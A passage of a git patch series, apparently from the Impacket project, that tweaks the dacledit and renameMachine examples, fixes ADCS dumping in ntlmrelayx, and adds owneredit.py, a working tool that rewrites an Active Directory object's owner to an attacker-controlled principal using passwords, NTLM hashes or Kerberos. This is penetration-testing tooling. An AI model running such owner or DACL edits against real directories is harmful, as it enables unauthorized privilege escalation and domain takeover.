ACCESS_MASK(Enum): + # Generic Rights GenericRead = 0x80000000 GenericWrite = 0x40000000 GenericExecute = 0x20000000 GenericAll = 0x10000000 + + # Maximum Allowed access type MaximumAllowed = 0x02000000 + + # Access System Acl access type AccessSystemSecurity = 0x01000000 + + # Standard access types Synchronize = 0x00100000 WriteOwner = 0x00080000 WriteDAC = 0x00040000 ReadControl = 0x00020000 Delete = 0x00010000 + + # Specific rights WriteAttributes = 0x00000100 ReadAttributes = 0x00000080 DeleteChild = 0x00000040 @@ -188,6 +197,9 @@ class ACCESS_MASK(Enum): # Simple permissions are combinaisons of extended permissions class SIMPLE_PERMISSIONS(Enum): FullControl = 0xf01ff + Modify = 0x0301bf + ReadAndExecute = 0x0200a9 + ReadAndWrite = 0x02019f Read = 0x20094 Write = 0x200bc @@ -443,6 +455,7 @@ def parseDACL(self, dacl): # Parses an access mask to extract the different values from a simple permission + # https://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights # - fsr : the access mask to parse def parsePerms(self, fsr): _perms = [] @@ -933,6 +946,9 @@ def main(): try: ldap_server, ldap_session = init_ldap_session(args, domain, username, password, lmhash, nthash) dacledit = DACLedit(ldap_server, ldap_session, args) + # a = dacledit.parsePerms(0xf01bf) + # print(a) + # exit(0) if args.action == 'read': dacledit.read() elif args.action == 'write': From c72021208de5679a3d6e8de203c2bc3df2e7a8bd Mon Sep 17 00:00:00 2001 From: TahiTi Date: Tue, 3 May 2022 10:54:27 +0200 Subject: [PATCH 115/163] Fixed Kerberos authentication error. --- examples/renameMachine.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/examples/renameMachine.py b/examples/renameMachine.py index 56f80ffc6..1664dcb3c 100755 --- a/examples/renameMachine.py +++ b/examples/renameMachine.py @@ -209,6 +209,9 @@ def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash=' def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash): user = '%s\\%s' % (domain, username) + connect_to = target + if args.dc_ip is not None: + connect_to = args.dc_ip if tls_version is not None: use_ssl = True port = 636 @@ -217,7 +220,7 @@ def init_ldap_connection(target, tls_version, args, domain, username, password, use_ssl = False port = 389 tls = None - ldap_server = ldap3.Server(target, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) + ldap_server = ldap3.Server(connect_to, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) if args.k: ldap_session = ldap3.Connection(ldap_server) ldap_session.bind() From 18fc0126f71eacaea0995ba21731189ae548b4a7 Mon Sep 17 00:00:00 2001 From: SAERXCIT <78735647+SAERXCIT@users.noreply.github.com> Date: Mon, 9 May 2022 16:43:21 +0200 Subject: [PATCH 116/163] [ntlmrelayx] Dump ADCS: fix case when ACE has neither "ObjectType" nor "InheritedObjectType" --- impacket/examples/ntlmrelayx/attacks/ldapattack.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py index fafb394e5..185f7ad49 100644 --- a/impacket/examples/ntlmrelayx/attacks/ldapattack.py +++ b/impacket/examples/ntlmrelayx/attacks/ldapattack.py @@ -678,10 +678,12 @@ def get_enrollment_principals(entry): for ace in (a for a in sd["Dacl"]["Data"] if a["AceType"] == ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE): sid = format_sid(ace["Ace"]["Sid"].getData()) - if ace["Ace"]["ObjectTypeLen"] == 0: + if ace["Ace"]["Flags"] == 2: uuid = bin_to_string(ace["Ace"]["InheritedObjectType"]).lower() - else: + elif ace["Ace"]["Flags"] == 1: uuid = bin_to_string(ace["Ace"]["ObjectType"]).lower() + else: + continue if not uuid in enrollment_uuids: continue From cc42f5de2a2ef97cbdfc3c8a6aad9086b9aa1f7a Mon Sep 17 00:00:00 2001 From: SAERXCIT <78735647+SAERXCIT@users.noreply.github.com> Date: Mon, 9 May 2022 17:53:50 +0200 Subject: [PATCH 117/163] [ntlmrelayx] Dump ADCS: fix issue when SID cannot be translated --- impacket/examples/ntlmrelayx/attacks/ldapattack.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py index 185f7ad49..99826c686 100644 --- a/impacket/examples/ntlmrelayx/attacks/ldapattack.py +++ b/impacket/examples/ntlmrelayx/attacks/ldapattack.py @@ -714,7 +714,7 @@ def translate_sids(sids): sid_map[sid] = sid continue - if not len(self.client.response): + if not len(self.client.entries): sid_map[sid] = sid else: sid_map[sid] = domain_fqdn + "\\" + self.client.response[0]["attributes"]["name"] From fe31f1663df682145b5e8a43a2ceddaaae85431b Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sat, 14 May 2022 17:33:26 +0200 Subject: [PATCH 118/163] Fix principal & target arg descriptions --- examples/dacledit.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index f379894ad..7b720cc1f 100755 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -684,12 +684,12 @@ def parse_args(): auth_con.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') auth_con.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter') - principal_parser = parser.add_argument_group("principal", description="Principal object to read/edit the DACL of") + principal_parser = parser.add_argument_group("principal", description="Object, controlled by the attacker, to reference in the ACE to create or to filter when printing a DACL") principal_parser.add_argument("-principal", dest="principal_sAMAccountName", metavar="NAME", type=str, required=False, help="sAMAccountName") principal_parser.add_argument("-principal-sid", dest="principal_SID", metavar="SID", type=str, required=False, help="Security IDentifier") principal_parser.add_argument("-principal-dn", dest="principal_DN", metavar="DN", type=str, required=False, help="Distinguished Name") - target_parser = parser.add_argument_group("target", description="Object, controlled by the attacker, to reference in the ACE to create or to filter when printing a DACL") + target_parser = parser.add_argument_group("target", description="Principal object to read/edit the DACL of") target_parser.add_argument("-target", dest="target_sAMAccountName", metavar="NAME", type=str, required=False, help="sAMAccountName") target_parser.add_argument("-target-sid", dest="target_SID", metavar="SID", type=str, required=False, help="Security IDentifier") target_parser.add_argument("-target-dn", dest="target_DN", metavar="DN", type=str, required=False, help="Distinguished Name") From 0d15c79f8185c5e0f54db1be354ef547a6c0557a Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sat, 14 May 2022 18:38:08 +0200 Subject: [PATCH 119/163] New example --- examples/owneredit.py | 518 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 518 insertions(+) create mode 100644 examples/owneredit.py diff --git a/examples/owneredit.py b/examples/owneredit.py new file mode 100644 index 000000000..7515654f2 --- /dev/null +++ b/examples/owneredit.py @@ -0,0 +1,518 @@ +#!/usr/bin/env python3 +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Python script for handling the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer +# +# Authors: +# Charlie BROMBERG (@_nwodtuhs) + +import argparse +import logging +import sys +import traceback + +import ldap3 +import ssl +import ldapdomaindump +from binascii import unhexlify +from ldap3.protocol.formatters.formatters import format_sid + +from impacket import version +from impacket.examples import logger, utils +from impacket.ldap import ldaptypes +from impacket.smbconnection import SMBConnection +from impacket.spnego import SPNEGO_NegTokenInit, TypesMech +from ldap3.utils.conv import escape_filter_chars +from ldap3.protocol.microsoft import security_descriptor_control + + +# Universal SIDs +WELL_KNOWN_SIDS = { + 'S-1-0': 'Null Authority', + 'S-1-0-0': 'Nobody', + 'S-1-1': 'World Authority', + 'S-1-1-0': 'Everyone', + 'S-1-2': 'Local Authority', + 'S-1-2-0': 'Local', + 'S-1-2-1': 'Console Logon', + 'S-1-3': 'Creator Authority', + 'S-1-3-0': 'Creator Owner', + 'S-1-3-1': 'Creator Group', + 'S-1-3-2': 'Creator Owner Server', + 'S-1-3-3': 'Creator Group Server', + 'S-1-3-4': 'Owner Rights', + 'S-1-5-80-0': 'All Services', + 'S-1-4': 'Non-unique Authority', + 'S-1-5': 'NT Authority', + 'S-1-5-1': 'Dialup', + 'S-1-5-2': 'Network', + 'S-1-5-3': 'Batch', + 'S-1-5-4': 'Interactive', + 'S-1-5-6': 'Service', + 'S-1-5-7': 'Anonymous', + 'S-1-5-8': 'Proxy', + 'S-1-5-9': 'Enterprise Domain Controllers', + 'S-1-5-10': 'Principal Self', + 'S-1-5-11': 'Authenticated Users', + 'S-1-5-12': 'Restricted Code', + 'S-1-5-13': 'Terminal Server Users', + 'S-1-5-14': 'Remote Interactive Logon', + 'S-1-5-15': 'This Organization', + 'S-1-5-17': 'This Organization', + 'S-1-5-18': 'Local System', + 'S-1-5-19': 'NT Authority', + 'S-1-5-20': 'NT Authority', + 'S-1-5-32-544': 'Administrators', + 'S-1-5-32-545': 'Users', + 'S-1-5-32-546': 'Guests', + 'S-1-5-32-547': 'Power Users', + 'S-1-5-32-548': 'Account Operators', + 'S-1-5-32-549': 'Server Operators', + 'S-1-5-32-550': 'Print Operators', + 'S-1-5-32-551': 'Backup Operators', + 'S-1-5-32-552': 'Replicators', + 'S-1-5-64-10': 'NTLM Authentication', + 'S-1-5-64-14': 'SChannel Authentication', + 'S-1-5-64-21': 'Digest Authority', + 'S-1-5-80': 'NT Service', + 'S-1-5-83-0': 'NT VIRTUAL MACHINE\Virtual Machines', + 'S-1-16-0': 'Untrusted Mandatory Level', + 'S-1-16-4096': 'Low Mandatory Level', + 'S-1-16-8192': 'Medium Mandatory Level', + 'S-1-16-8448': 'Medium Plus Mandatory Level', + 'S-1-16-12288': 'High Mandatory Level', + 'S-1-16-16384': 'System Mandatory Level', + 'S-1-16-20480': 'Protected Process Mandatory Level', + 'S-1-16-28672': 'Secure Process Mandatory Level', + 'S-1-5-32-554': 'BUILTIN\Pre-Windows 2000 Compatible Access', + 'S-1-5-32-555': 'BUILTIN\Remote Desktop Users', + 'S-1-5-32-557': 'BUILTIN\Incoming Forest Trust Builders', + 'S-1-5-32-556': 'BUILTIN\\Network Configuration Operators', + 'S-1-5-32-558': 'BUILTIN\Performance Monitor Users', + 'S-1-5-32-559': 'BUILTIN\Performance Log Users', + 'S-1-5-32-560': 'BUILTIN\Windows Authorization Access Group', + 'S-1-5-32-561': 'BUILTIN\Terminal Server License Servers', + 'S-1-5-32-562': 'BUILTIN\Distributed COM Users', + 'S-1-5-32-569': 'BUILTIN\Cryptographic Operators', + 'S-1-5-32-573': 'BUILTIN\Event Log Readers', + 'S-1-5-32-574': 'BUILTIN\Certificate Service DCOM Access', + 'S-1-5-32-575': 'BUILTIN\RDS Remote Access Servers', + 'S-1-5-32-576': 'BUILTIN\RDS Endpoint Servers', + 'S-1-5-32-577': 'BUILTIN\RDS Management Servers', + 'S-1-5-32-578': 'BUILTIN\Hyper-V Administrators', + 'S-1-5-32-579': 'BUILTIN\Access Control Assistance Operators', + 'S-1-5-32-580': 'BUILTIN\Remote Management Users', +} + +class OwnerEdit(object): + def __init__(self, ldap_server, ldap_session, args): + super(OwnerEdit, self).__init__() + self.ldap_server = ldap_server + self.ldap_session = ldap_session + + self.target_sAMAccountName = args.target_sAMAccountName + self.target_SID = args.target_SID + self.target_DN = args.target_DN + + self.new_owner_sAMAccountName = args.new_owner_sAMAccountName + self.new_owner_SID = args.new_owner_SID + self.new_owner_DN = args.new_owner_DN + + logging.debug('Initializing domainDumper()') + cnf = ldapdomaindump.domainDumpConfig() + cnf.basepath = None + self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf) + + if self.target_sAMAccountName or self.target_SID or self.target_DN: + # Searching for target account with its security descriptor + self.search_target_principal_security_descriptor() + # Extract security descriptor data + self.target_principal_raw_security_descriptor = self.target_principal['nTSecurityDescriptor'].raw_values[0] + self.target_principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.target_principal_raw_security_descriptor) + + # Searching for the owner SID if any owner argument was given and new_owner_SID wasn't + if self.new_owner_SID is None and self.new_owner_sAMAccountName is not None or self.new_owner_DN is not None: + _lookedup_owner = "" + if self.new_owner_sAMAccountName is not None: + _lookedup_owner = self.new_owner_sAMAccountName + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_owner), attributes=['objectSid']) + elif self.new_owner_DN is not None: + _lookedup_owner = self.new_owner_DN + self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % _lookedup_owner, attributes=['objectSid']) + try: + self.new_owner_SID = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) + logging.debug("Found new owner SID: %s" % self.new_owner_SID) + except IndexError: + logging.error('New owner SID not found in LDAP (%s)' % _lookedup_owner) + exit(1) + + def read(self): + current_owner_SID = format_sid(self.target_principal_security_descriptor['OwnerSid']).formatCanonical() + logging.info("Current owner information below") + logging.info("- SID: %s" % current_owner_SID) + logging.info("- sAMAccountName: %s" % self.resolveSID(current_owner_SID)) + self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % current_owner_SID, attributes=['distinguishedName']) + current_owner_distinguished_name = self.ldap_session.entries[0] + logging.info("- distinguishedName: %s" % current_owner_distinguished_name['distinguishedName']) + + def write(self): + logging.debug('Attempt to modify the OwnerSid') + _new_owner_SID = ldaptypes.LDAP_SID() + _new_owner_SID.fromCanonical(self.new_owner_SID) + # lib doesn't set this, but I don't known if it's needed + # _new_owner_SID['SubLen'] = len(_new_owner_SID['SubAuthority']) + self.target_principal_security_descriptor['OwnerSid'] = _new_owner_SID + + self.ldap_session.modify( + self.target_principal.entry_dn, + {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [ + self.target_principal_security_descriptor.getData() + ])}, + controls=security_descriptor_control(sdflags=0x01)) + if self.ldap_session.result['result'] == 0: + logging.info('OwnerSid modified successfully!') + else: + if self.ldap_session.result['result'] == 50: + logging.error('Could not modify object, the server reports insufficient rights: %s', + self.ldap_session.result['message']) + elif self.ldap_session.result['result'] == 19: + logging.error('Could not modify object, the server reports a constrained violation: %s', + self.ldap_session.result['message']) + else: + logging.error('The server returned an error: %s', self.ldap_session.result['message']) + + # Attempts to retrieve the Security Descriptor of the specified target + def search_target_principal_security_descriptor(self): + _lookedup_principal = "" + # Set SD flags to only query for OwnerSid + controls = security_descriptor_control(sdflags=0x01) + if self.target_sAMAccountName is not None: + _lookedup_principal = self.target_sAMAccountName + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), attributes=['nTSecurityDescriptor'], controls=controls) + elif self.target_SID is not None: + _lookedup_principal = self.target_SID + self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) + elif self.target_DN is not None: + _lookedup_principal = self.target_DN + self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) + try: + self.target_principal = self.ldap_session.entries[0] + logging.debug('Target principal found in LDAP (%s)' % _lookedup_principal) + except IndexError: + logging.error('Target principal not found in LDAP (%s)' % _lookedup_principal) + exit(0) + + # Attempts to resolve a SID and return the corresponding samaccountname + def resolveSID(self, sid): + # Tries to resolve the SID from the well known SIDs + if sid in WELL_KNOWN_SIDS.keys() or False: + return WELL_KNOWN_SIDS[sid] + # Tries to resolve the SID from the LDAP domain dump + else: + self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % sid, attributes=['samaccountname']) + try: + dn = self.ldap_session.entries[0].entry_dn + samname = self.ldap_session.entries[0]['samaccountname'] + return samname + except IndexError: + logging.debug('SID not found in LDAP: %s' % sid) + return "" + + +def parse_args(): + parser = argparse.ArgumentParser(add_help=True, description='Python editor for a principal\'s DACL.') + parser.add_argument('identity', action='store', help='domain.local/username[:password]') + parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + auth_con = parser.add_argument_group('authentication & connection') + auth_con.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + auth_con.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + auth_con.add_argument('-k', action="store_true", + help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') + auth_con.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') + auth_con.add_argument('-dc-ip', action='store', metavar="ip address", + help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter') + + new_owner_parser = parser.add_argument_group("owner", description="Object, controlled by the attacker, to set as owner of the target object") + new_owner_parser.add_argument("-owner", dest="new_owner_sAMAccountName", metavar="NAME", type=str, required=False, help="sAMAccountName") + new_owner_parser.add_argument("-owner-sid", dest="new_owner_SID", metavar="SID", type=str, required=False, help="Security IDentifier") + new_owner_parser.add_argument("-owner-dn", dest="new_owner_DN", metavar="DN", type=str, required=False, help="Distinguished Name") + + target_parser = parser.add_argument_group("target", description="Target object to edit the owner of") + target_parser.add_argument("-target", dest="target_sAMAccountName", metavar="NAME", type=str, required=False, help="sAMAccountName") + target_parser.add_argument("-target-sid", dest="target_SID", metavar="SID", type=str, required=False, help="Security IDentifier") + target_parser.add_argument("-target-dn", dest="target_DN", metavar="DN", type=str, required=False, help="Distinguished Name") + + dacl_parser = parser.add_argument_group("dacl editor") + dacl_parser.add_argument('-action', choices=['read', 'write'], nargs='?', default='read', help='Action to operate on the owner attribute') + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + return parser.parse_args() + + +def parse_identity(args): + domain, username, password = utils.parse_credentials(args.identity) + + if domain == '': + logging.critical('Domain should be specified!') + sys.exit(1) + + if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None: + from getpass import getpass + logging.info("No credentials supplied, supply password") + password = getpass("Password:") + + if args.aesKey is not None: + args.k = True + + if args.hashes is not None: + lmhash, nthash = args.hashes.split(':') + else: + lmhash = '' + nthash = '' + + return domain, username, password, lmhash, nthash + + +def init_logger(args): + # Init the example's logger theme and debug level + logger.init(args.ts) + if args.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) + + +def get_machine_name(args, domain): + if args.dc_ip is not None: + s = SMBConnection(args.dc_ip, args.dc_ip) + else: + s = SMBConnection(domain, domain) + try: + s.login('', '') + except Exception: + if s.getServerName() == '': + raise Exception('Error while anonymous logging into %s' % domain) + else: + s.logoff() + return s.getServerName() + + +def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True): + from pyasn1.codec.ber import encoder, decoder + from pyasn1.type.univ import noValue + """ + logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. + :param string user: username + :param string password: password for the user + :param string domain: domain where the account is valid for (required) + :param string lmhash: LMHASH used to authenticate using hashes (password is not used) + :param string nthash: NTHASH used to authenticate using hashes (password is not used) + :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication + :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) + :param struct TGT: If there's a TGT available, send the structure here and it will be used + :param struct TGS: same for TGS. See smb3.py for the format + :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False + :return: True, raises an Exception if error. + """ + + if lmhash != '' or nthash != '': + if len(lmhash) % 2: + lmhash = '0' + lmhash + if len(nthash) % 2: + nthash = '0' + nthash + try: # just in case they were converted already + lmhash = unhexlify(lmhash) + nthash = unhexlify(nthash) + except TypeError: + pass + + # Importing down here so pyasn1 is not required if kerberos is not used. + from impacket.krb5.ccache import CCache + from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set + from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS + from impacket.krb5 import constants + from impacket.krb5.types import Principal, KerberosTime, Ticket + import datetime + + if TGT is not None or TGS is not None: + useCache = False + + target = 'ldap/%s' % target + if useCache: + domain, user, TGT, TGS = CCache.parseFile(domain, user, target) + + # First of all, we need to get a TGT for the user + userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + if TGT is None: + if TGS is None: + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, + aesKey, kdcHost) + else: + tgt = TGT['KDC_REP'] + cipher = TGT['cipher'] + sessionKey = TGT['sessionKey'] + + if TGS is None: + serverName = Principal(target, type=constants.PrincipalNameType.NT_SRV_INST.value) + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, + sessionKey) + else: + tgs = TGS['KDC_REP'] + cipher = TGS['cipher'] + sessionKey = TGS['sessionKey'] + + # Let's build a NegTokenInit with a Kerberos REQ_AP + + blob = SPNEGO_NegTokenInit() + + # Kerberos + blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] + + # Let's extract the ticket from the TGS + tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) + + # Now let's build the AP_REQ + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = [] + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticket.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = domain + seq_set(authenticator, 'cname', userName.components_to_asn1) + now = datetime.datetime.utcnow() + + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 11 + # AP-REQ Authenticator (includes application authenticator + # subkey), encrypted with the application session key + # (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + blob['MechToken'] = encoder.encode(apReq) + + request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', + blob.getData()) + + # Done with the Kerberos saga, now let's get into LDAP + if connection.closed: # try to open connection if closed + connection.open(read_server_info=False) + + connection.sasl_in_progress = True + response = connection.post_send_single_response(connection.send('bindRequest', request, None)) + connection.sasl_in_progress = False + if response[0]['result'] != 0: + raise Exception(response) + + connection.bound = True + + return True + + +def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash): + user = '%s\\%s' % (domain, username) + connect_to = target + if args.dc_ip is not None: + connect_to = args.dc_ip + if tls_version is not None: + use_ssl = True + port = 636 + tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version) + else: + use_ssl = False + port = 389 + tls = None + ldap_server = ldap3.Server(connect_to, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) + if args.k: + ldap_session = ldap3.Connection(ldap_server) + ldap_session.bind() + ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, args.aesKey, kdcHost=args.dc_ip) + elif args.hashes is not None: + ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True) + else: + ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True) + + return ldap_server, ldap_session + + +def init_ldap_session(args, domain, username, password, lmhash, nthash): + if args.k: + target = get_machine_name(args, domain) + else: + if args.dc_ip is not None: + target = args.dc_ip + else: + target = domain + + if args.use_ldaps is True: + try: + return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, args, domain, username, password, lmhash, nthash) + except ldap3.core.exceptions.LDAPSocketOpenError: + return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, args, domain, username, password, lmhash, nthash) + else: + return init_ldap_connection(target, None, args, domain, username, password, lmhash, nthash) + + +def main(): + print(version.BANNER) + args = parse_args() + init_logger(args) + + if args.action == 'write' and args.new_owner_sAMAccountName is None and args.new_owner_SID is None and args.new_owner_DN is None: + logging.critical('-owner, -owner-sid, or -owner-dn should be specified when using -action write') + sys.exit(1) + + if args.action == "restore" and not args.filename: + logging.critical('-file is required when using -action restore') + + domain, username, password, lmhash, nthash = parse_identity(args) + if len(nthash) > 0 and lmhash == "": + lmhash = "aad3b435b51404eeaad3b435b51404ee" + + try: + ldap_server, ldap_session = init_ldap_session(args, domain, username, password, lmhash, nthash) + owneredit = OwnerEdit(ldap_server, ldap_session, args) + if args.action == 'read': + owneredit.read() + elif args.action == 'write': + owneredit.read() + owneredit.write() + owneredit.read() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + traceback.print_exc() + logging.error(str(e)) + + +if __name__ == '__main__': + main() From 3afb78cfe8ce2728c1b4deb490f3d998588ae4fc Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sat, 14 May 2022 18:52:02 +0200 Subject: [PATCH 120/163] Fixing args `-owner*` to `-new-owner*` --- examples/owneredit.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/examples/owneredit.py b/examples/owneredit.py index 7515654f2..94716ae58 100644 --- a/examples/owneredit.py +++ b/examples/owneredit.py @@ -243,9 +243,9 @@ def parse_args(): help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter') new_owner_parser = parser.add_argument_group("owner", description="Object, controlled by the attacker, to set as owner of the target object") - new_owner_parser.add_argument("-owner", dest="new_owner_sAMAccountName", metavar="NAME", type=str, required=False, help="sAMAccountName") - new_owner_parser.add_argument("-owner-sid", dest="new_owner_SID", metavar="SID", type=str, required=False, help="Security IDentifier") - new_owner_parser.add_argument("-owner-dn", dest="new_owner_DN", metavar="DN", type=str, required=False, help="Distinguished Name") + new_owner_parser.add_argument("-new-owner", dest="new_owner_sAMAccountName", metavar="NAME", type=str, required=False, help="sAMAccountName") + new_owner_parser.add_argument("-new-owner-sid", dest="new_owner_SID", metavar="SID", type=str, required=False, help="Security IDentifier") + new_owner_parser.add_argument("-new-owner-dn", dest="new_owner_DN", metavar="DN", type=str, required=False, help="Distinguished Name") target_parser = parser.add_argument_group("target", description="Target object to edit the owner of") target_parser.add_argument("-target", dest="target_sAMAccountName", metavar="NAME", type=str, required=False, help="sAMAccountName") From 703b0c51475c901516272e250a49fa9aae75b0e1 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sat, 14 May 2022 19:25:20 +0200 Subject: [PATCH 121/163] Removing debug code --- examples/dacledit.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index 7b720cc1f..ed4a67944 100755 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -949,9 +949,6 @@ def main(): try: ldap_server, ldap_session = init_ldap_session(args, domain, username, password, lmhash, nthash) dacledit = DACLedit(ldap_server, ldap_session, args) - # a = dacledit.parsePerms(0xf01bf) - # print(a) - # exit(0) if args.action == 'read': dacledit.read() elif args.action == 'write': From 5c477e71a60e3cc434ebc0fcc374d6d108f58f41 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sat, 14 May 2022 19:47:27 +0200 Subject: [PATCH 122/163] Removing redundant debug read after write --- examples/owneredit.py | 1 - 1 file changed, 1 deletion(-) diff --git a/examples/owneredit.py b/examples/owneredit.py index 94716ae58..2edcf3bc5 100644 --- a/examples/owneredit.py +++ b/examples/owneredit.py @@ -507,7 +507,6 @@ def main(): elif args.action == 'write': owneredit.read() owneredit.write() - owneredit.read() except Exception as e: if logging.getLogger().level == logging.DEBUG: traceback.print_exc() From cf5cfd0ca20ba1072769bcdef3b47a1bad7751bb Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sun, 15 May 2022 15:20:56 +0200 Subject: [PATCH 123/163] Fixing and clarifying access masks and descriptions --- examples/dacledit.py | 40 +++++++++++++++++++++------------------- 1 file changed, 21 insertions(+), 19 deletions(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index ed4a67944..9eb83c97d 100755 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -161,40 +161,42 @@ class OBJECT_ACE_FLAGS(Enum): # Access Mask enum # Access mask permits to encode principal's rights to an object. This is the rights the principal behind the specified SID has # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/7a53f60e-e730-4dfe-bbe9-b21b62eb790b +# https://docs.microsoft.com/en-us/windows/win32/api/iads/ne-iads-ads_rights_enum?redirectedfrom=MSDN class ACCESS_MASK(Enum): # Generic Rights - GenericRead = 0x80000000 - GenericWrite = 0x40000000 - GenericExecute = 0x20000000 - GenericAll = 0x10000000 + GenericRead = 0x80000000 # ADS_RIGHT_GENERIC_READ + GenericWrite = 0x40000000 # ADS_RIGHT_GENERIC_WRITE + GenericExecute = 0x20000000 # ADS_RIGHT_GENERIC_EXECUTE + GenericAll = 0x10000000 # ADS_RIGHT_GENERIC_ALL # Maximum Allowed 